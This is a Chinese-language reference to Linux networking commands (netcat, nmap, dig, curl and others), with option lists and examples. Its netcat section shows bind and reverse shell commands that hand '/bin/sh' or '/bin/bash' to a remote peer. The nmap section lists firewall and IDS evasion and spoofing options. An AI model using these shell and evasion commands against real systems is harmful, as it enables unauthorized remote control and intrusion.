nc是netcat的简写,有着网络界的瑞士军刀美誉。
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件,网络测速dstat
ncat [options] [hostname] [port]
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料,默认TCP端口。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r<端口> 指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
nc -vzw 2 www.baidu.com -z 80-85 扫描对应ip的TCP端口是否监听
nc -vzu 10.0.0.200 9999 扫描对应ip的UDP端口是否监听
nc -p 6666 -w 5 www.baidu.com 80 建立从本地6666端口到www.baidu.com的80端口连接,5秒超时
server:监听端口
nc -l 6666 监听端口TCP 6666
client: 连接server的对应端口
nc 10.0.0.200 6666
使用ctrl+C(或D)退出。
nc -l 1234 >test.txt 服务器端先启动监听服务,将监听端口收到的数据存入文件
nc 10.0.0.200 1234 < mysql.pass 传文件,客户端将文件发送给服务端监听的端口
tar -cvf - dir_name | nc -l 1234 传输目录要压缩
nc 10.0.0.200 1234 | tar -xvf - 接收后自动解压
nc -l -p 10010 -e /bin/sh 被控制端(这种形式支持后台运行)
nc 10.0.0.200 10010 控制端
nc 10.0.0.200 10010 -e /bin/bash 被控制端
nc -l -p 10010 控制端
代理转发:访问本地7891端口就是访问IP:10.0.0.200 端口:8080
cat /tmp/tmp_fifo |nc 10.0.0.200 8080 | nc -l -p 7891 > /tmp/tmp_fifo
nmap
Nmap用于在远程机器上探测网络,执行安全扫描,网络审计和搜寻开放端口。
它会扫描远程在线主机,该主机的操作系统,包过滤器和开放的端口。
yum -y install nmap
nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION: 目标规格
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
nmap -iL <inputfilename> 读取文件中内容列表扫描主机or cat > <inputfilename>
-iR <num hosts> 选择随机目标
--exclude <host1[,host2][,host3],...> 排除你不想扫描的主机
--excludefile <exclude_file> 排除列表来自文件
HOST DISCOVERY: 主机发现
-sP 检测在线主机
-sL 简单列出目标扫描
-sn 禁用端口扫描,Ping Scan
-Pn 跳过主机发现(检测是否有防火墙保护)?
-PS/PA/PU/PY [portlist] 对给定端口使用TCP SYN/ACK、UDP或SCTP发现(比如禁ping时)
-PE/PP/PM 对ICMP回显、时间戳和网络掩码请求发现探测
-PO[protocol list] IP Protocol Ping (IP协议Ping)
-n/-R 从不/始终执行DNS解析[默认值:有时]
--traceroute 跟踪每个主机的跃点路径
SCAN TECHNIQUES: 扫描技术
-sS/sT/sA/sW/sM 执行一次隐蔽的扫描Connect()/TCP SYN/ACK(侦测防火墙或包过滤器)/Window/Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null(执行TCP空扫描以骗过防火墙)/FIN/Xmas扫描
-sO IP协议扫描
-b <FTP relay host> FTP反弹扫描
PORT SPECIFICATION AND SCAN ORDER: 端口规格和扫描顺序
-p <port ranges> 只扫描指定的端口,默认只扫描TCP端口
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
-F 快速扫描,仅扫描nmap-services文件中的端口
-r 连序扫描端口,不会随机
SERVICE/VERSION DETECTION: 服务/版本检测
-sV 探测开放端口以确定服务/版本信息
--version-intensity <level>
设置探测强度0-9
--version-light (intensity 2)强度2
--version-all (intensity 9)强度9
OS DETECTION: 操作系统检测
-O 启用操作系统检测
FIREWALL/IDS EVASION AND SPOOFING: 防火墙/IDS规避和欺骗
-f; --mtu <val> 片段数据包(可选w/给定的mtu)
-D <decoy1,decoy2[,ME],...> 用诱饵掩蔽扫描
-S <IP_Address> 伪造源地址
-e <iface> 使用指定接口
-g/--source-port <portnum> 使用给定的端口号
--data-length <num> 将随机数据追加到发送的数据包中
--ip-options <options> 使用指定的ip选项发送数据包
--ttl <val> 设置IP生存时间字段
--spoof-mac <mac address/prefix/vendor name>
欺骗您的mac地址
--badsum 使用伪造的TCP/UDP/SCTP校验和发送数据包
OUTPUT:
-oN/-oX/-oS/-oG <file> 输出扫描以normal(正常)/XML/s|<rIpt kIddi3/可修改格式,各自指定文件名
-oA <basename> 同时输出三种主要格式
-v 增加详细级别(使用-vv或更多以获得更大的效果)
-d 增加调试级别(使用-dd或更多以获得更大的效果)
--reason 显示端口处于特定状态的原因
--open 仅显示打开(或可能打开)的端口
--packet-trace 显示所有发送和接收的数据包
--iflist 打印主机接口和路由(用于调试)
--log-errors 将错误/警告记录到常规格式的输出文件中
--append-output 附加到指定的输出文件,而不是删除指定的输出文件
--resume <filename> 恢复中止的扫描
--stylesheet <path/URL>
将XML输出转换为HTML的XSL样式表
MISC: 其他
-A 启用操作系统,版本检测,脚本扫描和路由跟踪功能
EXAMPLES:
nmap -v -A 10.0.0.202
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
nmap IP IP IP 使用主机名或IP(可以多个)扫描该系统上所有开放的端口,服务和MAC地址
nmap 192.168.0.* 对整个子网或某个范围的主机扫描。。。
nmap 192.168.0.101-110
nmap 192.168.0.101,102,103 简单指定IP地址的最后一个字节来对多个IP地址进行扫描
nmap -p T:8888,80 192.168.0.101 指定具体的端口类型和端口号
glances
资源实时监控工具
特点:占用尽可能小的空间最大化展示资源信息
yum -y install glances
glances [-d] [-C CONF_FILE] [-3] [-4] [-2] [--disable-process]
[--disable-log] [--disable-bold] [--enable-process-extended]
[--enable-history] [--path-history PATH_HISTORY]
[--export-csv EXPORT_CSV] [--export-influxdb]
[--export-opentsdb] [--export-statsd] [--export-rabbitmq]
[-c CLIENT] [-s] [--browser] [--disable-autodiscover] [-p PORT]
[-B BIND_ADDRESS] [--password]
[--snmp-community SNMP_COMMUNITY] [--snmp-port SNMP_PORT]
[--snmp-version SNMP_VERSION] [--snmp-user SNMP_USER]
[--snmp-auth SNMP_AUTH] [--snmp-force] [-t TIME] [-w] [-q]
[-f PROCESS_FILTER] [--process-short-name] [-0]
[--hide-kernel-threads] [--tree] [-b] [--fahrenheit] [-1]
[--fs-free-space] [--theme-white]
-d 启用调试模式
-C CONF_FILE 配置配置文件的路径
-3 禁用快速查看模块
-4 禁用除快速查看和加载之外的所有功能
--disable-cpu disable CPU module
--disable-mem disable memory module
--disable-swap disable swap module
--disable-load disable load module
--disable-network disable network module
--disable-ip disable IP module
--disable-diskio disable disk I/O module
--disable-fs disable filesystem module
--disable-sensors disable sensors module
--disable-hddtemp disable HD temperature module
--disable-raid disable RAID module
--disable-docker disable Docker module
-2 禁用左侧边栏:网络、磁盘I/O、FS和传感器模块
--disable-process disable process module
--disable-log disable log module
--disable-bold disable bold mode in the terminal (bold 粗体)
--enable-process-extended
enable extended stats on top process
--enable-history enable the history mode (matplotlib needed)
--path-history PATH_HISTORY
set the export path for graph history(graph 图表)
--export-csv EXPORT_CSV
export stats to a CSV file(stats统计信息)
--export-influxdb export stats to an InfluxDB server (influxdb needed)
--export-opentsdb export stats to an OpenTSDB server (potsdb needed)
--export-statsd export stats to a StatsD server (statsd needed)
--export-rabbitmq export stats to rabbitmq broker (pika needed)
-c CLIENT 通过IPv4/IPv6地址或主机名连接到 Glances server
-s run Glances in server mode
--browser start the client browser (list of servers)(browser 浏览器)
--disable-autodiscover 禁用自动发现功能
-p PORT 定义客户机/服务器TCP端口[default: 61209]
-B BIND_ADDRESS 将服务器绑定到给定的IPv4/IPv6地址或主机名
--password define a client/server password(define定义)
--snmp-community SNMP_COMMUNITY
SNMP community
--snmp-port SNMP_PORT SNMP port
--snmp-version SNMP_VERSION
SNMP version (1, 2c or 3)
--snmp-user SNMP_USER SNMP username (only for SNMPv3)
--snmp-auth SNMP_AUTH SNMP authentication key (only for SNMPv3)
--snmp-force force SNMP mode (force 力,强制)
-t TIME set refresh time in seconds [default: 3 sec](refresh 刷新)
-w run Glances in web server mode (bottle needed)
-q do not display the curses interface(curses interface glances的交互式界面)
-f PROCESS_FILTER 设置进程筛选器模式(正则表达式)
--process-short-name force short name for processes name
-0 任务的cpu使用率将除以cpu总数
--hide-kernel-threads 在进程列表中隐藏内核线程
--tree display processes as a tree
-b display network rate in byte per second(rate 率 per 每)
--fahrenheit 以华氏度显示温度(默认值为摄氏度)
-1 start Glances in per CPU mode
--fs-free-space 显示FS可用空间而不是已用空间
--theme-white 优化白色背景的显示颜色
telnet
yum -y install telnet
telnet [选项]
-8 允许使用8位字符资料,包括输入与输出
-a 尝试自动登入远端系统
-b 使用别名指定远端主机名称
-c 不读取用户专属目录里的.telnetrc文件
-d 启动排错模式
-e 设置脱离字符
-E 滤除脱离字符
-f 此参数的效果和指定”-F”参数相同
-F 使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机
-k 使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名
-K 不自动登入远端主机
-l 指定要登入远端主机的用户名称
-L 允许输出8位字符资料
-n 指定文件记录相关信息
-r 使用类似rlogin指令的用户界面
-S 设置telnet连线所需的IP TOS信息
-x 假设主机有支持数据加密的功能,就使用它
-X 关闭指定的认证形态
traceroute
用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。
traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。
traceroute [选项] [域名或者IP]
-d 使用Socket层级的排错功能
-f<存活数值> 设置第一个检测数据包的存活数值TTL的大小
-F 设置勿离断位
-g<网关> 设置来源路由网关,最多可设置8个
-i<网络界面> 使用指定的网络界面送出数据包
-I 使用ICMP回应取代UDP资料信息
-m<存活数值> 设置检测数据包的最大存活数值TTL的大小
-n 直接使用IP地址而非主机名称
-p<通信端口> 设置UDP传输协议的通信端口
-r 忽略普通的Routing Table,直接将数据包送到远端主机上
-s<来源地址> 设置本地主机送出数据包的IP地址
-t<服务类型> 设置检测数据包的TOS数值
-v 详细显示指令的执行过程
-w 设置等待远端主机回报的时间
-x 开启或关闭数据包的正确性检验
tracepath
tracepath命令用来追踪并显示报文到达目的主机所经过的路由信息,能够发现路由中的MTU值。使用套接字API来实现其所有功能,不需要root权限。
traceroute功能要强于tracepath
tracepath [选项] [目的主机] [端口]
-n 只显示ip地址
-b 同时显示ip地址和主机名
-l 设置初始化的数据包长度,默认为65535
-m 设置最大TTL值,默认为30
-p 设置要使用的初始目标端口
EXAMPLES:
tracepath -b www.linuxcool.com 追踪到达域名的主机路由信息(同时显示ip地址与主机名)
tracepath -m 20 www.linuxcool.com 设置追踪报文路由的最大TTL值
nslookup
查询域名的DNS信息
nslookup有两种工作模式:“交互模式”和“非交互模式”。在命令行中直接输入nslookup,无需输入任何参数即进入交互模式,由“>”提示。
yum -y install bind-utils
nslookup [选项] [域名]
-sil 不显示任何警告信息
交互模式:
exit 退出命令
server 指定解析域名的服务器地址
set type=soa 设置查询域名授权起始信息
set type=a 设置查询域名A记录
set type=mx 设置查询域名邮件交换记录
dig
dig 命令的功能比 nslookup 强大很多
yum -y install bind-utils
dig [@server] [-b address] [-c class] [-f filename] [-k filename] [ -n ][-p port#]
[-t type] [-x addr] [-y name:key] [name] [type] [class] [queryopt...]
dig [global-queryopt...] [query...]
@<服务器地址> 指定进行域名解析的域名服务器
-b <ip地址> 当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求
-f <文件名称> 指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息
-p port 指定域名服务器所使用端口号
-t <类型> 指定要查询的DNS数据类型,缺省A
-x <IP地址> 执行逆向域名查询
-k <文件名称> 使用事务签名(TSIG),指定 TSIG 密钥文件
-y name:key 指定 TSIG 密钥;name 是 TSIG 密码的名称,key 是实际的密码
-4 使用IPv4
-6 使用IPv6
global-queryopt...
+[no]tcp 查询域名服务器时使用 [不使用] TCP。缺省使用 UDP。
+[no]ignore 忽略 UDP 响应的中断,而不是用 TCP 重试。缺省情况运行 TCP 重试。
+[no]search 使用 [不使用] 搜索列表或 resolv.conf 中的域伪指令(如果有的话)定义的搜索列表
+[no]nssearch 寻找包含待搜名称的网段的权威域名服务器,并显示网段中每台域名服务器的 SOA 记录。
+[no]trace 切换为待查询名称从根名称服务器开始的代理路径跟踪。
+[no]short 提供简要答复。缺省值是以冗长格式显示答复信息。
+[no]comments 切换输出中的注释行显示。缺省值是显示注释。
+[no]stats 设定显示统计信息:查询进行时,应答的大小等等。缺省显示查询统计信息。
+[no]qr 显示 [不显示] 发送的查询请求。缺省不显示。
+[no]question 当返回应答时,显示 [不显示] 查询请求的问题部分。缺省作为注释显示问题部分。
+[no]answer 显示 [不显示] 应答的回答部分。缺省显示。
+[no]authority 显示 [不显示] 应答的权限部分。缺省显示。
+[no]additional 显示 [不显示] 应答的附加部分。缺省显示。
+[no]all 设置或清除所有显示标志。
+time=T 超时时间为 T 秒。缺省是5秒。最小为1秒。
+tries=A 设置向服务器发送 UDP 查询请求的重试次数为 A,缺省 3 次。最小为1。
+[no]multiline 以详细的多行格式显示类似 SOA 的记录,并附带可读注释。
EXAMPLES:
dig www.isc.org +short 快速查询精简答案
dig @202.106.0.20 www.oolec.com a 显式指定dns服务器地址
dig www.oolec.com a +tcp 采用tcp协议进行查询,默认采用udp协议
dig www.oolec.com a +trace 从根服务器开始追踪一个域名的解析过程
dig www.oolec.com +search 查询本地主机名而不是全域名
dig yahoo.com A +noall +answer 查找yahoo.com的A记录
dig yahoo.com MX +noall +answer 查找yahoo.com MX记录的列表
dig yahoo.com NS +noall +answer 查找yahoo.com的权威DNS
dig yahoo.com ANY +noall +answer 查询上面所有的记录
dig www.isc.org AAAA +short 查询主机的IPv6 AAAA记录
dig @server qianlong.com AXFR 查看 zone 数据传输
dig @server qianlong.com IXFR=N 查看 zone 数据的增量传输
dig -x 124.42.102.203 @server 查看反向解析
dig qianlong.com +nssearch 查找一个域的授权 dns 服务器
dig +norec @F.ROOT-SERVERS.NET HOSTNAME.BIND CHAOS TXT 查看你使用的是哪个根DNS服务器
dig @bind_dns_server CHAOS TXT version.bind 查看 bind 的版本号
dig +qr www.isc.org any -x 127.0.0.1 isc.org ns +noqr
进行三个查询:一个针对 www.isc.org的任意查询、一个 127.0.0.1 的逆向查询,以及一个 isc.org 的 NS 记录查询。应用了 +qr 的全局查询选项,以便 dig 显示进行每条查询的初始查询。最后那个查询有一个本地查询选项 +noqr,表示 dig 在搜索 isc.org 的 NS 记录时不显示初始查询。
[root@localhost ~]# dig rss.newyingyong.cn
; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> rss.newyingyong.cn
;; global options: printcmd
# 版本信息和全局的设置选项,+nocmd 是第一个参数显示
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49814
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 17
# +[no]comments 控制显示
;; QUESTION SECTION:
;rss.newyingyong.cn. IN A
# +[no]question 控制显示
;; ANSWER SECTION:
rss.newyingyong.cn. 600 IN A 139.129.23.162
# +[no]answer 控制显示
;; AUTHORITY SECTION:
newyingyong.cn. 86398 IN NS dns10.hichina.com.
newyingyong.cn. 86398 IN NS dns9.hichina.com.
# +[no]authority 控制显示
;; ADDITIONAL SECTION:
dns9.hichina.com. 3490 IN A 140.205.81.15
dns9.hichina.com. 3490 IN A 140.205.81.25
# +[no]additional 控制显示
;; Query time: 5 msec
;; SERVER: 10.202.72.116#53(10.202.72.116)
;; WHEN: Sat Jul 01 11:00:38 CST 2017
;; MSG SIZE rcvd: 369
# +[no]stats 控制显示
各个返回参数说明下:
- status: NOERROR 表示查询没有什么错误,Query time 表示查询完成时间
- SERVER: 10.202.72.116#53(10.202.72.116),表示本地 DNS 服务器地址和端口号
- QUESTION SECTION: 表示需要查询的内容,这里需要查询域名的 A 记录
- ANSWER SECTION: 表示查询结果,返回 A 记录的 IP 地址。600 表示本次查询缓存时间,在 600 秒本地 DNS 服务器可以直接从缓存返回结果
- AUTHORITY SECTION: 表示从那台 DNS 服务器获取到具体的 A 记录信息。记住本地 DNS 服务器只是查询,而 AUTHORITY SECTION 返回的服务器是权威 DNS 服务器,由它来维护 rss.newyingyong.cn 的域名信息。返回的 DNS 记录类型是 NS,对应的名称是
dns10.hichina.com.
,dns9.hichina.com.
。 - ADDITIONAL SECTION: 表示 NS 服务器对应的 IP 地址,这些 IP 地址对应的服务器安装了 BIND 软件。
DNS 服务器记录类型
默认 dig rss.newyingyong.cn
返回的是 A 记录类型,查询的dns服务器将采用系统配置的服务器,即/etc/resovle.conf 中的。
其他类型还包括 MX,CNAME,NS,PTR、SOA 等,我们可以直接使用类型参数a/mx/ns
进行查询。
(1)dig -t a www.weibo.com +noall +answer
;; global options: +cmd
www.weibo.com. 21 IN A 180.149.134.142
www.weibo.com. 21 IN A 180.149.134.141
其中 +noall +answer
表示返回简短信息,这里 a 表示查询 A 记录。
注意,这里返回 2 个 A 记录,这相当于 DNS 均衡,比如浏览器客户端查询 www.weibo.com 域名得到两个 A 记录,然后连接其中的一个 IP 地址对应的 WEB 服务器,假如发现连接不上,可以使用另外一个地址连接。
比如在万网域名管理后台,可以给同一个域名添加两条 A 记录,相当于实现了域名负载均衡。
(2)dig -t ns weibo.com
注意假如用户输入 dig -t ns www.weibo.com是查询不出 NS 任何记录的,原因在于只有一级域名(或者顶级域名)才有 NS 记录,通过 FQDN 是查询不出 NS 信息的,所以要输入 dig -t ns weibo.com ,返回:
;; ANSWER SECTION:
weibo.com. 9962 IN NS ns3.sina.com.cn.
weibo.com. 9962 IN NS ns2.sina.com.cn.
weibo.com. 9962 IN NS ns1.sina.com.cn.
weibo.com. 9962 IN NS ns4.sina.com.
weibo.com. 9962 IN NS ns4.sina.com.cn.
weibo.com. 9962 IN NS ns3.sina.com.
;; ADDITIONAL SECTION:
ns1.sina.com.cn. 14162 IN A 202.106.184.166
ns2.sina.com.cn. 14906 IN A 61.172.201.254
ns3.sina.com. 26496 IN A 61.172.201.254
ns3.sina.com.cn. 9714 IN A 123.125.29.99
ns4.sina.com. 24154 IN A 123.125.29.99
ns4.sina.com.cn. 9733 IN A 121.14.1.22
微博的权威服务器是微博自己建立的,有 6 个名称和 IP 地址:
- 有这么多地址,主要是防止单点问题,比如某个 NS 服务器连接不上,可以连接其他 NS 服务器
- 上述的 NS IP 地址属于不同的运营商,不同的运营商可能会查询对应的 NS 服务器,原因就是加速查询。
(3)dig -t a www.baidu.com
;; ANSWER SECTION:
www.baidu.com. 691 IN CNAME www.a.shifen.com.
www.a.shifen.com. 271 IN A 115.239.211.112
www.a.shifen.com. 271 IN A 115.239.210.27
这里返回的 CNAME 表示查询 www.baidu.com 的信息其实是www.a.shifen.com返回的 A 记录。
CNAME 的存在原因:
- 某个域名(A)可能会下线,但是这些域名可能还是被访问到,为了避免不友好的提示,可以将这个域名 cname 到另外个域名(B),这样访问 B 相当于返回 A。
- 很多公司项目可能有很多个域名,但是指定的 IP 地址可能每几个,一旦 IP 地址变化,可能要修改每个域名的 DNS 信息。假如这些域名 cname 到某个特定的域名,那么修改域名信息的时候就会非常方便。
(4)dig -t mx newyingyong.cn
;; QUESTION SECTION:
;newyingyong.cn. IN MX
;; ANSWER SECTION:
newyingyong.cn. 600 IN MX 10 mx.sina.net.
返回 MX 记录,注意这里不能输入 dig -t mx rss.newyingyong.cn ,因为 MX 记录一般配置在一级域名下。
DNS 迭代查询的具体流程
对于客户端(比如浏览器)查询本地域名 DNS 信息的时候,是递归查询的方式。而本地 DNS 服务器为了获取到某个域名的 DNS 信息,会使用迭代的方式(一步步询问)。通过 dig +trace blog.newyingyong.cn 来进行了解
;; global options: +cmd
. 18535 IN NS h.root-servers.net.
. 18535 IN NS m.root-servers.net.
. 18535 IN NS i.root-servers.net.
. 18535 IN NS d.root-servers.net.
. 18535 IN NS a.root-servers.net.
. 18535 IN NS b.root-servers.net.
;; Received 1097 bytes from 10.202.72.118#53(10.202.72.118) in 53 msec
cn. 172800 IN NS d.dns.cn.
cn. 172800 IN NS e.dns.cn.
cn. 172800 IN NS b.dns.cn.
cn. 172800 IN NS a.dns.cn.
cn. 172800 IN NS c.dns.cn.
;; Received 646 bytes from 192.36.148.17#53(i.root-servers.net) in 150 msec
newyingyong.cn. 86400 IN NS dns10.hichina.com.
newyingyong.cn. 86400 IN NS dns9.hichina.com.
;; Received 589 bytes from 203.119.29.1#53(e.dns.cn) in 37 msec
blog.newyingyong.cn. 600 IN A 139.129.23.162
;; Received 64 bytes from 106.11.211.55#53(dns9.hichina.com) in 19 ms
- 本地 DNS 服务器首先查询根域名服务器(10.202.72.118),得到 13 组根域名服务器中的一个,并返回对应某个根域名的 NS 服务器。
- 根域名NS 服务器(192.36.148.17)说并不知道 blog.newyingyong.cn 顶级域名的具体信息,你去问 .cn 顶级域名服务器去把,并返回 .cn 域名服务器的 NS 记录。
- .cn 域名服务器(203.119.29.1)说,我也不知道 blog.newyingyong.cn 的信息,但是我知道是阿里云管理的,并返回阿里云服务器的 NS 地址。
- 阿里云 DNS 服务器(106.11.211.55)说,这个域名确实是我管理的,最终返回 blog.rss.newyingyong.cn 的 A 记录(139.129.23.162)。
DNS 缓存
假如 DNS 服务器每次都需要迭代或递归查询上一级的 DNS 服务器,那么 DNS 可能就不堪重负,考虑到域名的 DNS 信息不会频繁的修改,所以每一级中的 DNS 服务器都会缓存结果(包括浏览器这样的客户端也会缓存 DNS 结果)。
缓存带来的弊端可能就是 DNS 信息可能不是最新的,比如某个域名管理员修改了某个域名的 A 记录,由于每一级的 DNS 服务器都有缓存,所以最后客户端拿到的结果不是最新的,为了获取到最新的结果,可以直接向权威域名服务器进行信息查询。
比如blog.rss.newyingyong.cn的域名是由 dns9.hichina.com.(106.11.211.55)管理的,可以直接通过 dig @106.11.211.55 -t a newyingyong.cn
或者 dig @dns9.hichina.com -t a newyingyong.cn
获取最新 A 记录。
不查询本地 DNS 服务器,指定域名服务器获取信息: dig @8.8.8.8 -t a newyingyong.cn
。
curl
利用URL规则在shell终端命令行下工作的文件传输工具
支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征;做网页处理流程和数据检索自动化。
curl [选项] [网址]
-a, --append 上传文件时,附加到目标文件
-A, --user-agent <string> 设置用户代理发送给服务器
-anyauth 可以使用“任何”身份验证方法
-b, --cookie <name=string/file> cookie字符串或文件读取位置
--basic 使用HTTP基本验证
-B, --use-ascii 使用ASCII/文本传输
-c, --cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C, --continue-at <offset> 断点续转
-d, --data <data> HTTP POST方式传送数据
--data-ascii <data> 以ascii的方式post数据
--data-binary <data> 以二进制的方式post数据
--negotiate 使用HTTP身份验证
--digest 使用数字身份验证
--disable-eprt 禁止使用EPRT或LPRT
--disable-epsv 禁止使用EPSV
-D, --dump-header <file> 把header信息写入到该文件中
--egd-file <file> 为随机数据(SSL)设置EGD socket路径
--tcp-nodelay 使用TCP_NODELAY选项
-e, --referer 来源网址
-E, --cert <cert[:passwd]> 客户端证书文件和密码 (SSL)
--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)
--key <key> 私钥文件名 (SSL)
--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)
--pass <pass> 私钥密码 (SSL)
--engine <eng> 加密引擎使用 (SSL). "--engine list" for list
--cacert <file> CA证书 (SSL)
--capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)
--ciphers <list> SSL密码
--compressed 要求返回是压缩的形式 (using deflate or gzip)
--connect-timeout <seconds> 设置最大请求时间
--create-dirs 建立本地目录的目录层次结构
--crlf 上传是把LF转变成CRLF
-f, --fail 连接失败时不显示http错误
--ftp-create-dirs 如果远程目录不存在,创建远程目录
--ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用
--ftp-pasv 使用 PASV/EPSV 代替端口
--ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址
--ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输
--ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输
-F, --form <name=content> 模拟http表单提交数据
--form-string <name=string> 模拟http表单提交数据
-g, --globoff 禁用网址序列和范围使用{}和[]
-G, --get 以get的方式来发送数据
-H, --header <line> 自定义头信息传递给服务器
--ignore-content-length 忽略的HTTP头信息的长度
-i, --include 输出时包括protocol头信息
-I, --head 只显示请求头信息
-j, --junk-session-cookies 读取文件进忽略session cookie
--interface <interface> 使用指定网络接口/地址
--krb4 <level> 使用指定安全级别的krb4
-k, --insecure 允许不使用证书到SSL站点
-K, --config 指定的配置文件读取
-l, --list-only 列出ftp目录下的文件名称
--limit-rate <rate> 设置传输速度
--local-port<NUM> 强制使用本地端口号
-m, --max-time <seconds> 设置最大传输时间
--max-redirs <num> 设置最大读取的目录数
--max-filesize <bytes> 设置最大下载的文件总量
-M, --manual 显示全手动
-n, --netrc 从netrc文件中读取用户名和密码
--netrc-optional 使用 .netrc 或者 URL来覆盖-n
-no-buffer 禁用缓冲输出
-o, --output 把输出写到该文件中
-O, --remote-name 把输出写到该文件中,保留远程文件的文件名
-p, --proxytunnel 使用HTTP代理
--proxy-anyauth 选择任一代理身份验证方法
--proxy-basic 在代理上使用基本身份验证
--proxy-digest 在代理上使用数字身份验证
--proxy-ntlm 在代理上使用ntlm身份验证
-P, --ftp-port <address> 使用端口地址,而不是使用PASV
-q 作为第一个参数,关闭 .curlrc
-Q, --quote <cmd> 文件传输前,发送命令到服务器
-r, --range <range> 检索来自HTTP/1.1或FTP服务器字节范围
--range-file 读取(SSL)的随机文件
-R, --remote-time 在本地生成文件时,保留远程文件时间
--retry <num> 传输出现问题时,重试的次数
--retry-delay <seconds> 传输出现问题时,设置重试间隔时间
--retry-max-time <seconds> 传输出现问题时,设置最大重试时间
-s, --silent 静默模式。不输出任何东西
-S, --show-error 显示错误
--socks4 <host[:port]> 用socks4代理给定主机和端口
--socks5 <host[:port]> 用socks5代理给定主机和端口
--stderr <file>
-t, --telnet-option <OPT=val> Telnet选项设置
--trace <file> 对指定文件进行debug
--trace-ascii <file> Like --跟踪但没有hex输出
--trace-time 跟踪/详细输出时,添加时间戳
-T, --upload-file <file> 上传文件
--url <URL> Spet URL to work with
-u, --user <user[:password]> 设置服务器的用户和密码
-U, --proxy-user <user[:password]> 设置代理用户名和密码
-w, --write-out [format] 什么输出完成后
-x, --proxy <host[:port]> 在给定的端口上使用HTTP代理
-X, --request <command> 指定什么命令
-y, --speed-time 放弃限速所要的时间,默认为30
-Y, --speed-limit 停止传输速度的限制,速度时间
curl默认将下载文件输出到stdout,将进度信息输出到stderr,
不显示进度信息使用--silent
选项;
curl URL --silent
这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。
选项-O
将下载的数据写入到文件,必须使用绝对路径,保留远程文件的文件名:
curl http://man.linuxde.net/text.iso --silent -O
选项-o
将下载数据写入到指定名称的文件中,并使用--progress
显示进度条:
curl http://man.linuxde.net/test.iso -o filename.iso --progress
######################################### 100.0%
使用-C
指定一个便移量来下载部分文件(断点续传):
curl URL/File -C 偏移量
#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
使用--referer
选项指定参照页字符串:
参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。
curl --referer http://www.google.com http://man.linuxde.net
使用--cookie "COKKIES"
选项来指定cookie,多个cookie使用分号分隔:
curl http://man.linuxde.net --cookie "user=root;pass=123456"
使用--cookie-jar
选项,将cookie另存为一个文件:
curl URL --cookie-jar cookie_file
使用--user-agent
或者-A
选项,设置用户代理字符串为IE:
curl URL --user-agent "Mozilla/5.0"
curl URL -A "Mozilla/5.0"
使用-H
"头部信息" 传递多个HTTP头部信息:
curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL
使用--limit-rate
限制curl的下载速度,k(千字节)和m(兆字节):
curl URL --limit-rate 50k
使用--max-filesize
指定可下载的最大文件大小:
curl URL --max-filesize bytes
使用 -u
完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net
使用-I
或者-head
可以只打印出HTTP头部信息:
[root@localhost text]# curl -I http://man.linuxde.net
HTTP/1.1 200 OK
Server: nginx/1.2.5
date: Mon, 10 Dec 2012 09:24:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Pingback: http://man.linuxde.net/xmlrpc.php
scp
scp [选项] [[user@]host1:]file1 ... [[user@]host2:]file2
-1 使用ssh协议版本1-2
-2 使用ssh协议版本2
-4 使用ipv4
-6 使用ipv6
-B 以批处理模式运行
-C 使用压缩
-F 指定ssh配置文件
-l 指定宽带限制
-o 指定使用的ssh选项
